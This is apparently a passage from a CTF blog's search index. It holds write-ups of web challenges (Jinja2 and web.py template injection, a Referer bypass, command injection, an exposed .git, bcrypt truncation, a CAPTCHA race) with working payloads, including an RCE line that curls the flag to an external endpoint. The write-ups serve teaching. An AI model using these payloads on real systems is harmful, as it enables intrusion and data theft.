\u0026#39;DEBUG\u0026#39;: False, \u0026#39;TESTING\u0026#39;: False, \u0026#39;PROPAGATE_EXCEPTIONS\u0026#39;: None, \u0026#39;PRESERVE_CONTEXT_ON_EXCEPTION\u0026#39;: None, \u0026#39;SECRET_KEY\u0026#39;: \u0026#39;dsbfeif3uwf6bes878hgi\u0026#39;, \u0026#39;PERMANENT_SESSION_LIFETIME\u0026#39;: datetime.timedelta(days=31), \u0026#39;USE_X_SENDFILE\u0026#39;: False, \u0026#39;SERVER_NAME\u0026#39;: None, \u0026#39;APPLICATION_ROOT\u0026#39;: \u0026#39;/\u0026#39;, \u0026#39;SESSION_COOKIE_NAME\u0026#39;: \u0026#39;session\u0026#39;, \u0026#39;SESSION_COOKIE_DOMAIN\u0026#39;: False, \u0026#39;SESSION_COOKIE_PATH\u0026#39;: None, \u0026#39;SESSION_COOKIE_HTTPONLY\u0026#39;: True, \u0026#39;SESSION_COOKIE_SECURE\u0026#39;: False, \u0026#39;SESSION_COOKIE_SAMESITE\u0026#39;: None, \u0026#39;SESSION_REFRESH_EACH_REQUEST\u0026#39;: True, \u0026#39;MAX_CONTENT_LENGTH\u0026#39;: None, \u0026#39;SEND_FILE_MAX_AGE_DEFAULT\u0026#39;: None, \u0026#39;TRAP_BAD_REQUEST_ERRORS\u0026#39;: None, \u0026#39;TRAP_HTTP_EXCEPTIONS\u0026#39;: False, \u0026#39;EXPLAIN_TEMPLATE_LOADING\u0026#39;: False, \u0026#39;PREFERRED_URL_SCHEME\u0026#39;: \u0026#39;http\u0026#39;, \u0026#39;JSON_AS_ASCII\u0026#39;: True, \u0026#39;JSON_SORT_KEYS\u0026#39;: True, \u0026#39;JSONIFY_PRETTYPRINT_REGULAR\u0026#39;: False, \u0026#39;JSONIFY_MIMETYPE\u0026#39;: \u0026#39;application/json\u0026#39;, \u0026#39;TEMPLATES_AUTO_RELOAD\u0026#39;: None, \u0026#39;MAX_COOKIE_SIZE\u0026#39;: 4093, \u0026#39;KEY\u0026#39;: \u0026#39;dsbfeif3uwf6bes878hgi\u0026#39;}\u0026gt; The KEY entry is the secret: dsbfeif3uwf6bes878hgi.\nCreating a Signed Token The signing logic lives in a class exposed through the subclass list, call it HiddenClass, which takes the key in its constructor and has a _sign_token(\u0026quot;value\u0026quot;) method. We reach it from inside the template:\nPOST / HTTP/2 Host: birthday.ctf.prgy.in Content-Length: 152 Content-Type: application/x-www-form-urlencoded sender={%set p = \u0026#39;\u0026#39;.__class__.__mro__[1].__subclasses__%}\u0026amp;message={% set d = p()[-2](\u0026#39;dsbfeif3uwf6bes878hgi\u0026#39;)%}\u0026amp;message_final={{d._sign_token(\u0026#34;admin\u0026#34;)}} Payload Explanation Split across three fields, the payload walks from a string literal to a signed admin token:\n{%set p = \u0026#39;\u0026#39;.__class__.__mro__[1].__subclasses__%} p is the base object\u0026rsquo;s subclass list (reached via str).\n{% set d = p()[-2](\u0026#39;dsbfeif3uwf6bes878hgi\u0026#39;)%} p()[-2] is HiddenClass; instantiating it with the key gives a signer d.\n{{d._sign_token(\u0026#34;admin\u0026#34;)}} d._sign_token(\u0026quot;admin\u0026quot;) signs the value admin and renders the token.\nThe message_final field comes back with the forged token: admin.dc92ab47061ce7a0922596817589737de0b8dde08e7fbe6c7772ad5f87ea9f0b.\nRetrieving the Flag Sending it to /admin/report as the session cookie:\nGET /admin/report HTTP/2 Host: birthday.ctf.prgy.in Cookie: session=admin.dc92ab47061ce7a0922596817589737de0b8dde08e7fbe6c7772ad5f87ea9f0b HTTP/2 200 OK Server: gunicorn Date: Fri, 07 Feb 2025 15:13:06 GMT Content-Type: text/html; charset=utf-8 Content-Length: 33 Flag: p_ctf{S3rVer_STI_G0es_hArd} ","date":"2025-02-09T00:00:00Z","image":"/images/pragyan/web/birthday_card_home.png","permalink":"/posts/ctf/pragyan-ctf25/birthday-card/","title":"Jinja2 SSTI in a card generator - Pragyan CTF 2025"},{"content":"Introduction Context Explanation Temptation is a Python web app, and the bug is server-side template injection.\nDirective Exploit the app to read the flag.\nSolution Analyzing source code First, the source. The page has a hidden comment pointing at /?source:\n\u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;title\u0026gt;Temptation\u0026lt;/title\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;h1\u0026gt;Temptation challenge\u0026lt;/h1\u0026gt; \u0026lt;form action=\u0026#34;/\u0026#34; method=\u0026#34;POST\u0026#34;\u0026gt; \u0026lt;table\u0026gt; \u0026lt;tr\u0026gt; \u0026lt;th\u0026gt; \u0026lt;label for=\u0026#34;temptation\u0026#34;\u0026gt;What is your temptation?\u0026lt;/label\u0026gt; \u0026lt;/th\u0026gt; \u0026lt;td\u0026gt; \u0026lt;input id=\u0026#34;temptation\u0026#34; name=\u0026#34;temptation\u0026#34; type=\u0026#34;password\u0026#34;/\u0026gt; \u0026lt;/td\u0026gt; \u0026lt;/tr\u0026gt; \u0026lt;tr\u0026gt; \u0026lt;th\u0026gt; \u0026lt;label for=\u0026#34;submit\u0026#34;\u0026gt;\u0026lt;/label\u0026gt; \u0026lt;/th\u0026gt; \u0026lt;td\u0026gt; \u0026lt;button id=\u0026#34;submit\u0026#34; name=\u0026#34;submit\u0026#34;\u0026gt;submit\u0026lt;/button\u0026gt; \u0026lt;/td\u0026gt; \u0026lt;/tr\u0026gt; \u0026lt;/table\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;!-- Look at me, I\u0026#39;m soo tempting! /?source --\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; Hitting /?source plain gives nothing, though. The check is if i.source:, so an empty value is falsy, but any non-empty value (/?source=anything) dumps the source:\nimport web from web import form web.config.debug = False urls = ( \u0026#39;/\u0026#39;, \u0026#39;index\u0026#39; ) app = web.application(urls, locals()) render = web.template.render(\u0026#39;templates/\u0026#39;) FLAG = open(\u0026#34;/tmp/flag.txt\u0026#34;).read() temptation_Form = form.Form( form.Password(\u0026#34;temptation\u0026#34;, description=\u0026#34;What is your temptation?\u0026#34;), form.Button(\u0026#34;submit\u0026#34;, type=\u0026#34;submit\u0026#34;, description=\u0026#34;Submit\u0026#34;) ) class index: def GET(self): try: i = web.input() if i.source: return open(__file__).read() except Exception as e: pass f = temptation_Form() return render.index(f) def POST(self): f = temptation_Form() if not f.validates(): return render.index(f) i = web.input() temptation = i.temptation if \u0026#39;flag\u0026#39; in temptation.lower(): return \u0026#34;Too tempted!\u0026#34; try: temptation = web.template.Template(f\u0026#34;Your temptation is: {temptation}\u0026#34;)() except Exception as e: return \u0026#34;Too tempted!\u0026#34; if str(temptation) == \u0026#34;FLAG\u0026#34;: return FLAG else: return \u0026#34;Too tempted!\u0026#34; application = app.wsgifunc() if __name__ == \u0026#34;__main__\u0026#34;: app.run() A few things stand out:\nit\u0026rsquo;s a web.py app, the flag lives in /tmp/flag.txt, the form takes a \u0026ldquo;temptation\u0026rdquo; input, and there are two guards: the input can\u0026rsquo;t contain flag, and the rendered output has to equal FLAG. if \u0026#39;flag\u0026#39; in temptation.lower(): return \u0026#34;Too tempted!\u0026#34; if str(temptation) == \u0026#34;FLAG\u0026#34;: return FLAG The juicy part is that our input gets dropped into a web.template.Template() via an f-string, which is template injection waiting to happen:\ntemptation = web.template.Template(f\u0026#34;Your temptation is: {temptation}\u0026#34;)() Exploitation The flag-blacklist and the == \u0026quot;FLAG\u0026quot; check are easy to route around once we have code execution in the template.\nConfirm it first with a time-based payload: ${__import__(\u0026#39;os\u0026#39;).system(\u0026#39;sleep 5\u0026#39;)} Access to the flag With RCE confirmed, exfiltrate the flag: ${__import__(\u0026#39;os\u0026#39;).system(\u0026#39;curl https://eohs7zi0yztnmqq.m.pipedream.net/$(cat /tmp/f*.txt | base64)\u0026#39;)} A few deliberate choices here:\ncat /tmp/f*.txt globs the filename so the payload never contains the word \u0026ldquo;flag\u0026rdquo;, base64 keeps the content URL-safe, and curl ships it to a RequestBin endpoint I control. Decoding the received base64 string: echo \u0026#39;RU5Pe1QzTV9QbDRUXzNTXzRyM19TM2NVcmUhIX0=\u0026#39; | base64 -d ENO{T3M_Pl4T_3S_4r3_S3cUre!!} Tips \u0026amp; Tricks An f-string feeding a template engine is a dangerous combination, user input goes straight into the template source. Base64 keeps exfiltrated data clear of special-character and URL-encoding issues. RequestBin and similar catch-all endpoints are handy for pulling data out during a CTF. Globs like f*.txt sidestep word blacklists when a filename is off-limits. Read the HTML comments, they often leak hints. ","date":"2025-02-03T00:00:00Z","image":"/images/nullcon/web/temptation_home.png","permalink":"/posts/ctf/nullcon-goa-hackim-ctf-2025/temptation/","title":"Source leak and Python SSTI to the flag - Nullcon Goa 2025"},{"content":"Introduction Bypass the security of a website that implements Referer-based authentication.\nSolution The sources have two folders: app and nginx.\nnginx/nginx.conf holds the server config:\nworker_processes auto; events { worker_connections 128; } http { charset utf-8; access_log /dev/stdout; error_log /dev/stdout; upstream express_app { server app:3000; } server { listen 80; server_name example.com; location / { proxy_pass http://express_app; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; } location /admin { if ($http_referer !~* \u0026#34;^https://admin\\.internal\\.com\u0026#34;) { return 403; } proxy_pass http://express_app; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; } } } The /admin location only lets the request through if the Referer header starts with https://admin.internal.com, otherwise it\u0026rsquo;s a 403.\nOn the app side, index.js holds the server code:\nconst express = require(\u0026#34;express\u0026#34;) const app = express() app.get(\u0026#34;/\u0026#34;, (req, res) =\u0026gt; { res.send(\u0026#34;Hello World!\u0026#34;); }) app.get(\u0026#34;/admin\u0026#34;, (req, res) =\u0026gt; { if (req.header(\u0026#34;referer\u0026#34;) === \u0026#34;YOU_SHOUD_NOT_PASS!\u0026#34;) { return res.send(process.env.FLAG); } res.send(\u0026#34;Wrong header!\u0026#34;); }) app.listen(3000, () =\u0026gt; { console.log(\u0026#34;App listening on port 3000\u0026#34;); }) Those two files are all we need. The goal is to reach /admin and read the flag, which means clearing two checks at once:\nnginx: $http_referer must start with https://admin.internal.com express: req.header(\u0026quot;referer\u0026quot;) must equal YOU_SHOUD_NOT_PASS! At first glance these contradict each other, one Referer header can\u0026rsquo;t be both values. But the MDN page on Referer has the key detail: \u0026ldquo;referer\u0026rdquo; is a misspelling of \u0026ldquo;referrer\u0026rdquo;, baked into the HTTP spec with a single \u0026ldquo;r\u0026rdquo;.\nnginx\u0026rsquo;s $http_referer only ever reads the (misspelled) Referer header.\nExpress\u0026rsquo;s req.header(\u0026quot;referer\u0026quot;), though, is special. The Express v4.x docs for req.get(...) note it returns the value of the Referer or Referrer header, checking both spellings.\nThat\u0026rsquo;s the whole bug. We send two different headers: Referer: https://admin.internal.com to satisfy nginx, and Referrer: YOU_SHOUD_NOT_PASS! (double \u0026ldquo;r\u0026rdquo;) that Express picks up instead.\ncurl \u0026#39;http://static-01.heroctf.fr:7000/admin\u0026#39; -H \u0026#39;Referer: https://admin.internal.com/\u0026#39; -H \u0026#39;Referrer: YOU_SHOUD_NOT_PASS!\u0026#39; Hero{ba7b97ae00a760b44cc8c761e6d4535b} Flag: Hero{ba7b97ae00a760b44cc8c761e6d4535b}\nAlternative Solution There\u0026rsquo;s a second way in, using a case-sensitivity mismatch: nginx location matching is case-sensitive, Express routing isn\u0026rsquo;t.\nRequesting /Admin skips the nginx $http_referer check entirely (its location is /admin), but Express still routes /Admin to the same handler and runs its req.header(\u0026quot;referer\u0026quot;) check.\nSo all we need is Referer: YOU_SHOUD_NOT_PASS! on /Admin:\ncurl -i -H \u0026#39;Referer: YOU_SHOUD_NOT_PASS!\u0026#39; http://static-01.heroctf.fr:7000/Admin HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun, 14 May 2023 13:23:11 GMT Content-Type: text/html; charset=utf-8 Content-Length: 38 Connection: keep-alive X-Powered-By: Express ETag: W/\u0026#34;26-Cj1P1GdO8Vke/DfJFC3B2cH95nw\u0026#34; Hero{ba7b97ae00a760b44cc8c761e6d4535b} Tips \u0026amp; Tricks The header Referer is a misspelling of Referrer (source). $http_referer is an nginx variable that contains the value of the Referer header sent by the browser. In Express v4.x, calling the function req.get(\u0026quot;referer\u0026quot;) returns the value of the Referer or Referrer header sent by the browser. Route names exposed with Express v4.x are case-insensitive; /Admin and /admin are equivalent (source). CaseSensitive: Disabled by default, treating \u0026quot;/Foo\u0026quot; and \u0026quot;/foo\u0026quot; as the same. Route names in the nginx location configuration are case-sensitive; /Admin and /admin are not equivalent. ","date":"2024-05-15T00:00:00Z","image":"/images/heroctfv5/web/referrrrer_home.png","permalink":"/posts/ctf/heroctf-v5-2023/referrrrer/","title":"Referer-based auth bypass via an Nginx/Express misconfig - HeroCTF v5"},{"content":"Introduction This challenge is a WEB challenge from the PWNME 2023 CTF.\nBackground explanation A company needs a website to generate a QR Code. They asked a freelancer to do this work.\nSince the website went live, they have noticed strange behavior on their server.\nThey need your help to audit their code and help them solve their problem.\nDirective The flag is located in /app/flag.txt.\nSolution The sources ship with the challenge: a Node.js/Express app that turns a user-supplied value into a QR code.\nHere\u0026rsquo;s one for the value PWNME2023.\nA note up top says input is capped at 150 characters; past that, a random sentence is used instead. Two endpoints matter:\n/: the homepage /generate: the QR code generator Code analysis Home page endpoint app.get(\u0026#39;/\u0026#39;, async (req, res) =\u0026gt; { res.render(\u0026#39;index\u0026#39;); }); Just an EJS render, nothing to see here.\nGeneration endpoint app.post(\u0026#39;/generate\u0026#39;, async (req, res) =\u0026gt; { const { value } = req.body; try { let newQrCode; // If the length is too long, we use a default according to the length if (value.length \u0026gt; 150) newQrCode = new QRCode(null, value.lenght) else { newQrCode = new QRCode(String(value)) } const code = await newQrCode.getImage() res.json({ code, data: newQrCode.value }); } catch (error) { res.status(422).json({ message: \u0026#34;error\u0026#34;, reason: \u0026#39;Unknow error\u0026#39; }); } }); This one\u0026rsquo;s more interesting. It reads value from the body; if its length exceeds 150, only the length is used (not the value), otherwise the value itself. Then getImage() runs on the newQrCode object and the result goes back to the client.\nThe QRCode class:\nclass QRCode { constructor(value, defaultLength){ this.value = value this.defaultLength = defaultLength } async getImage(){ if(!this.value){ // Use \u0026#39;fortune\u0026#39; to generate a random funny line, based on the input size try { this.value = await execFortune(this.defaultLength) } catch (error) { this.value = \u0026#39;Error while getting a funny line\u0026#39; } } return await qrcode.toDataURL(this.value).catch(err =\u0026gt; \u0026#39;error:(\u0026#39;) } } getImage() checks whether value is empty; if it is, it calls execFortune() with defaultLength:\nfunction execFortune(defaultLength) { return new Promise((resolve, reject) =\u0026gt; { exec(`fortune -n ${defaultLength}`, (error, stdout, stderr) =\u0026gt; { if (error) { reject(error); } resolve(stdout? stdout : stderr); }); }); } defaultLength is dropped straight into a shell command via exec, so controlling it means command injection.\nIt looks unreachable at first, since defaultLength is meant to be the integer value.length. But look closely at the size check:\nif (value.length \u0026gt; 150) newQrCode = new QRCode(null, value.lenght) else { newQrCode = new QRCode(String(value)) } There\u0026rsquo;s a typo: the long-input branch reads value.lenght, not value.length. The length check uses the correct value.length, but the value actually passed to execFortune comes from the misspelled value.lenght, which we can set independently if value is an object instead of a string.\nThe original request sends a plain string:\n{ \u0026#34;value\u0026#34;: \u0026#34;PWNME2023\u0026#34; } By making value an object, we satisfy the length \u0026gt; 150 check and inject our command through lenght:\n{ \u0026#34;value\u0026#34;: { \u0026#34;length\u0026#34;: 151, \u0026#34;lenght\u0026#34;: \u0026#34;; cat /app/flag.txt\u0026#34; } } The check now reads:\nif (151 \u0026gt; 150) newQrCode = new QRCode(null, \u0026#34;; cat /app/flag.txt\u0026#34;) else { newQrCode = new QRCode(String(value)) } Then in the getImage() function:\nfunction execFortune(\u0026#34;; cat /app/flag.txt\u0026#34;) { return new Promise((resolve, reject) =\u0026gt; { exec(`fortune -n ; cat /app/flag.txt`, (error, stdout, stderr) =\u0026gt; { if (error) { reject(error); } resolve(stdout? stdout : stderr); }); }); } So the final request reads the flag:\ncurl \u0026#39;http://13.37.17.31:54224/generate\u0026#39; \\ -H \u0026#39;Content-Type: application/json; charset=UTF-8\u0026#39; \\ --data-raw \u0026#39;{\u0026#34;value\u0026#34;:{\u0026#34;length\u0026#34;:151,\u0026#34;lenght\u0026#34;:\u0026#34;; cat /app/flag.txt\u0026#34;}}\u0026#39; Response:\n{ \u0026#34;code\u0026#34;:\u0026#34;data:image/png;base64,...\u0026#34;, \u0026#34;data\u0026#34;:\u0026#34;PWNME{E4Sy_P34sI_B4CkdO0R}\u0026#34; } Flag: PWNME{E4Sy_P34sI_B4CkdO0R}\nTips \u0026amp; Tricks Be careful with typos in the code. Identify functions that can be called with user-manipulated parameters. If the data is in JSON format, try modifying the data type (string, int, array, object, etc.). ","date":"2023-05-07T00:00:00Z","image":"/images/pwnme2023/web/qrdoor_exemple.png","permalink":"/posts/ctf/pwnme-2023/web/qrdoor-code/","title":"Command injection via a QR generator's size parameter - PwnMe 2023"},{"content":"Introduction This challenge is an OSINT challenge from PWNME CTF.\nContext Explanation To understand the context of the challenge, refer to the introduction challenge description.\nTask As a budding developer, find information about this undeveloped passion.\nSolution On John Droper\u0026rsquo;s Facebook profile, we can see that he has a username: jdthetraveller.\nWe keep this in mind for later.\nOn his feed, we have information about his username. He says that he chose it on AFNIC, which is a domain name registry solution.\nhttps://jdthetraveller.fr/ leads to an under-construction blog, probably John\u0026rsquo;s.\nNothing obvious on the page, so I ran dirsearch against the server:\nIt turns up an exposed /.git directory, and its config file points at the repo. Grab it with wget:\n┌──(root㉿kali)-[~] └─# wget https://jdthetraveller.fr/.git/config --2023-05-07 23:46:11-- https://jdthetraveller.fr/.git/config Resolving jdthetraveller.fr (jdthetraveller.fr)... 13.48.131.55 Connecting to jdthetraveller.fr (jdthetraveller.fr)|13.48.131.55|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 271 [application/octet-stream] Saving to: ‘config’ config 100%[=======================================================\u0026gt;] 271 --.-KB/s in 0s 2023-05-07 23:46:11 (3.60 MB/s) - ‘config’ saved [271/271] ┌──(root㉿kali)-[~] └─# cat config [core] repositoryformatversion = 0 filemode = true bare = false logallrefupdates = true [remote \u0026#34;origin\u0026#34;] url = https://github.com/droperkingjohn/myOwnWebsite.git fetch = +refs/heads/*:refs/remotes/origin/* [branch \u0026#34;main\u0026#34;] remote = origin merge = refs/heads/main Two things here: a new alias, droperkingjohn (worth keeping), and the repo URL https://github.com/droperkingjohn/myOwnWebsite.\nDigging through the commit history, one of them holds the flag:\nFlag: PWNME{W0w_th15_l00k_l1ke_4n_e4sY_Fl4G}\nTips \u0026amp; Tricks Use dirsearch to find hidden directories. In a .git directory, you can retrieve information about the Git repository using the config file. Use git log to view the commits in a Git repository. Use git show to view the contents of a commit. Examine the different commits and their comments to find information. ","date":"2023-05-07T00:00:00Z","image":"/images/pwnme2023/osint/john_droper_facebook_details.png","permalink":"/posts/ctf/pwnme-2023/osint/newbie-dev/","title":"From a username to an exposed .git repository - PwnMe 2023"},{"content":"Challenge source ImaginaryCTF 2025 - Web - Passwordless Introduction passwordless pairs bcrypt\u0026rsquo;s 72-byte truncation with email normalization. On registration the server builds a \u0026ldquo;temporary password\u0026rdquo; from the raw email plus random bytes and hashes it. Since bcrypt only looks at the first 72 bytes, a raw email that\u0026rsquo;s at least 72 bytes long makes the random suffix irrelevant: those 72 bytes are entirely attacker-controlled. The account is stored under the normalized email, though (a+...@gmail.com -\u0026gt; a@gmail.com). So at login we submit the normalized email and the 72-byte prefix as the password, and we\u0026rsquo;re in.\nContext Explanation Stack: Node.js (Express), EJS views, in-memory SQLite, bcrypt for hashing, normalize-email for canonicalization, a basic rate limiter.\nRegistration stores:\nemail = normalizeEmail(req.body.email) password = bcrypt.hash(rawEmail + randomHex) Login looks the account up by its normalized email, then runs bcrypt.compare against the supplied password.\nDirective Register with a long raw local part (≥72 bytes before @) that normalizes to a short canonical address (Gmail-style a+...@gmail.com -\u0026gt; a@gmail.com). Take the first 72 bytes of the raw email; bcrypt truncation makes that the effective password. Log in with the normalized email and that 72-byte prefix to reach /dashboard, where the flag is rendered. Solution 1) Key server behaviors (from index.js) Registration path, the email is normalized before storage, while the initial password is built from the raw email plus random bytes (which bcrypt truncates to 72 bytes):\n// index.js (excerpts) const bcrypt = require(\u0026#39;bcrypt\u0026#39;); const sqlite3 = require(\u0026#39;sqlite3\u0026#39;).verbose() const db = new sqlite3.Database(\u0026#39;:memory:\u0026#39;) const normalizeEmail = require(\u0026#39;normalize-email\u0026#39;) const crypto = require(\u0026#39;crypto\u0026#39;) // ... // Registration app.post(\u0026#39;/user\u0026#39;, limiter, (req, res, next) =\u0026gt; { if (!req.body) return res.redirect(\u0026#39;/login\u0026#39;) const nEmail = normalizeEmail(req.body.email) if (nEmail.length \u0026gt; 64) { req.session.error = \u0026#39;Your email address is too long\u0026#39; return res.redirect(\u0026#39;/login\u0026#39;) } // IMPORTANT: initialPassword uses RAW req.body.email const initialPassword = req.body.email + crypto.randomBytes(16).toString(\u0026#39;hex\u0026#39;) bcrypt.hash(initialPassword, 10, function (err, hash) { if (err) return next(err) const query = \u0026#34;INSERT INTO users VALUES (?, ?)\u0026#34; db.run(query, [nEmail, hash], (err) =\u0026gt; { if (err) { if (err.code === \u0026#39;SQLITE_CONSTRAINT\u0026#39;) { req.session.error = \u0026#39;This email address is already registered\u0026#39; return res.redirect(\u0026#39;/login\u0026#39;) } return next(err) } // TODO: Send email with initial password (not implemented) req.session.message = \u0026#39;An email has been sent with a temporary password for you to log in\u0026#39; res.redirect(\u0026#39;/login\u0026#39;) }) }) }) Login path, the email is normalized, the password is taken as-is and checked with bcrypt.compare:\n// index.js (excerpts) // Query + compare function authenticate(email, password, fn) { db.get(`SELECT * FROM users WHERE email = ?`, [email], (err, user) =\u0026gt; { if (err) return fn(err, null) if (user \u0026amp;\u0026amp; bcrypt.compareSync(password, user.password)) { return fn(null, user) } else { return fn(null, null) } }); } app.post(\u0026#39;/session\u0026#39;, limiter, (req, res, next) =\u0026gt; { if (!req.body) return res.redirect(\u0026#39;/login\u0026#39;) const email = normalizeEmail(req.body.email) const password = req.body.password authenticate(email, password, (err, user) =\u0026gt; { if (err) return next(err) if (user) { req.session.regenerate(() =\u0026gt; { req.session.user = user; res.redirect(\u0026#39;/dashboard\u0026#39;); }); } else { req.session.error = \u0026#39;Failed to log in\u0026#39; res.redirect(\u0026#39;/login\u0026#39;); } }) }) And the flag, rendered on the authenticated dashboard:\n\u0026lt;!-- src/views/dashboard.ejs --\u0026gt; \u0026lt;span id=\u0026#34;flag\u0026#34;\u0026gt;\u0026lt;%- process.env.FLAG %\u0026gt;\u0026lt;/span\u0026gt; 2) The cryptographic lever: bcrypt 72-byte truncation bcrypt drops everything past the 72nd byte of the password. Registration hashes initialPassword = rawEmail + randomHex, so once rawEmail reaches 72 bytes, initialPassword[:72] == rawEmail[:72] and the random suffix never makes it into the hash. The password is fully predictable.\n3) The identity lever: email normalization The account is stored under normalizeEmail(...). On Gmail, a+XXXXX...@gmail.com collapses to a@gmail.com. That\u0026rsquo;s the trick: we register with a huge raw local part but log in later with the short normalized address, since both map to the same DB key.\n4) End-to-end PoC The PoC (Python requests) runs the full sequence:\n# poc/passwordless.py import requests BASE = \u0026#34;http://passwordless.chal.imaginaryctf.org\u0026#34; # 1) Build a very long raw email BEFORE \u0026#39;@\u0026#39;, which normalizes to a@gmail.com local_raw = \u0026#34;a+\u0026#34; + (\u0026#34;X\u0026#34; * 200) raw_email = f\u0026#34;{local_raw}@gmail.com\u0026#34; normalized_email = \u0026#34;a@gmail.com\u0026#34; # post-normalization target # 2) Effective password is the FIRST 72 bytes of the RAW email password_72 = raw_email[:72] with requests.Session() as s: s.get(f\u0026#34;{BASE}/login\u0026#34;, timeout=10) # init cookies (optional) # 3) Register using the RAW email (server stores normalizedEmail + bcrypt(rawEmail||random)) s.post(f\u0026#34;{BASE}/user\u0026#34;, data={\u0026#34;email\u0026#34;: raw_email}, timeout=10) # 4) Login using the NORMALIZED email + 72-byte prefix s.post(f\u0026#34;{BASE}/session\u0026#34;, data={\u0026#34;email\u0026#34;: normalized_email, \u0026#34;password\u0026#34;: password_72}, timeout=10) # 5) Grab the flag r = s.get(f\u0026#34;{BASE}/dashboard\u0026#34;, timeout=10) print(\u0026#34;[*] Flag:\u0026#34;, r.text.split(\u0026#39;id=\u0026#34;flag\u0026#34;\u0026gt;\u0026#39;)[1].split(\u0026#34;\u0026lt;/span\u0026gt;\u0026#34;)[0]) ","date":"2025-09-06T00:00:00Z","image":"/images/imaginaryctf2025/web/passwordles_flag.png","permalink":"/posts/ctf/imaginaryctf-2025/passwordless/","title":"bcrypt 72-byte truncation and email normalization auth bypass - ImaginaryCTF 2025"},{"content":"Challenge source snakeCTF 2025 Quals - Web - /b/locked Introduction /b/locked is a custom CAPTCHA gate: solve 10 in ≤10 seconds to reach the protected page. The server flow isn\u0026rsquo;t atomic, validation and cleanup happen separately, and /protected only checks that the tokens\u0026rsquo; timestamps fall inside the window. Bursting concurrent /api/solve requests lets us pile up 10 valid tokens well within 10 seconds.\nContext Explanation Stack: Node.js/Express + SQLite, EJS front-end. Goal: collect 10 verified \u0026ldquo;solve tokens\u0026rdquo; whose solvedAt values span ≤10 s, then load /protected. Controls in place: crypto.timingSafeEqual for the comparison, per-solve tokens hashed with PBKDF2 (100k) + salt and verified server-side, tokens read from a cookie, and a time-window check across the tokens. Key constants in index.js:\nconst CAPTCHA_COUNT_REQUIRED = 10; const TIME_LIMIT_SECONDS = 10; Directive Parallelize /api/solve so 10 tokens share a tight solvedAt span, then forge the cookie and fetch /protected.\nSolution 1) Surface \u0026amp; Data Flow (server code) Generating a challenge (/api/captcha) stores the solution server-side:\n// lib/captcha.js return { solution: fullText, foreground: ..., background: ... }; // index.js db.run(\u0026#34;INSERT INTO captchas (id, solution, createdAt) VALUES (?, ?, ?)\u0026#34;, [captchaId, captchaData.solution, Date.now()]); Solving (/api/solve) does a constant-time compare, issues a token, then deletes the row, three steps that aren\u0026rsquo;t atomic:\n// index.js const solutionBuffer = Buffer.from(solution.toLowerCase()); const storedSolutionBuffer = Buffer.from(storedCaptcha.solution.toLowerCase()); const isCorrect = solutionBuffer.length === storedSolutionBuffer.length \u0026amp;\u0026amp; crypto.timingSafeEqual(solutionBuffer, storedSolutionBuffer); if (!isCorrect) return res.status(400).json({ success:false }); const solvedAt = Date.now(); // \u0026lt;-- timestamp captured BEFORE heavy PBKDF2 const token = crypto.randomBytes(16).toString(\u0026#39;hex\u0026#39;); const salt = crypto.randomBytes(16).toString(\u0026#39;hex\u0026#39;); const hash = await new Promise((resolve, reject) =\u0026gt; { crypto.pbdkf2(token, salt, 100000, 64, \u0026#34;sha512\u0026#34;, (err, dk) =\u0026gt; { if (err) reject(err); else resolve(dk.toString(\u0026#39;hex\u0026#39;)); }); }); db.run(\u0026#34;INSERT INTO validHashes (id, hash, salt, solvedAt, createdAt) VALUES (?, ?, ?, ?, ?)\u0026#34;, [token, hash, salt, solvedAt, Date.now()]); // Cookie update (server writes JSON array) let solvedCaptchas = []; try { solvedCaptchas = JSON.parse(req.cookies.solvedCaptchas || \u0026#39;[]\u0026#39;); } catch(e) { solvedCaptchas = []; } solvedCaptchas.push(token); res.cookie(\u0026#39;solvedCaptchas\u0026#39;, JSON.stringify(solvedCaptchas), { httpOnly: true, secure: false }); // Cleanup happens AFTER validation/issuance db.run(\u0026#34;DELETE FROM captchas WHERE id = ?\u0026#34;, [captchaId]); Two things help us here: concurrent /api/solve calls for the same captchaId all pass validation before the DELETE lands, and solvedAt is recorded before the slow PBKDF2, so the timestamps stay bunched together.\nThe protected page (/protected) verifies the 10 tokens and enforces the ≤10 s window:\n// index.js (cookie format inconsistency noted below) let solvedCaptchas = req.cookies.solvedCaptchas.split(\u0026#39;,\u0026#39;).map(t =\u0026gt; t.trim()); // \u0026lt;-- expects CSV here ... db.get(\u0026#34;SELECT hash, salt, solvedAt FROM validHashes WHERE id = ?\u0026#34;, [token], ...); // recompute PBKDF2(token, salt) and timingSafeEqual with stored hash ... solvedTimes.sort((a,b) =\u0026gt; a-b); const timeElapsed = (solvedTimes[solvedTimes.length-1] - solvedTimes[0]) / 1000; if (timeElapsed \u0026lt;= TIME_LIMIT_SECONDS) render flag; There\u0026rsquo;s also a cookie-format mismatch worth noting: /api/solve writes the token list as JSON, but /protected reads it as CSV (.split(',')). That means we can just forge the Cookie header with a comma-separated token list.\n2) Exploitation Strategy We need 10 valid tokens with tightly clustered solvedAt. Two ways to get there:\nA) True race on a single CAPTCHA (TOCTOU). Fetch one CAPTCHA and its solution, fire ≥10 concurrent POST /api/solve with the same {captchaId, solution} before the DELETE runs, and each returns a distinct token with a near-identical solvedAt. Then build a CSV cookie solvedCaptchas=token1,...,token10 and GET /protected.\nThis is the official solution from the challenge author.\nB) Parallelize across multiple CAPTCHAs. Pre-solve N captchas, collect their solutions, then submit them all at once. Concurrency keeps the span under 10 s just the same. This is what the PoC below does:\nimport requests import json import urllib.parse BASE = \u0026#34;https://0501d746d5e0d28cf2ba5004bbd0f0bd.blocked.challs.snakectf.org/\u0026#34; # Solve them manually without validating them and store the solution here CAPTCHAS = { \u0026#34;6de6162a9274b129823ba174\u0026#34; : \u0026#34;DCDRB2\u0026#34;, \u0026#34;647ae4bd013aadadb9f87528\u0026#34; : \u0026#34;42GVD8\u0026#34;, \u0026#34;269e7baedaeff2321a484d0f\u0026#34; : \u0026#34;UAS9G8\u0026#34;, \u0026#34;faef1cd97abdd8212820b70f\u0026#34; : \u0026#34;DCN6XE\u0026#34;, \u0026#34;a376c6e3f0d24d33ef985786\u0026#34; : \u0026#34;BTFMTS\u0026#34;, \u0026#34;710ef950f9ddee539a6c058b\u0026#34; : 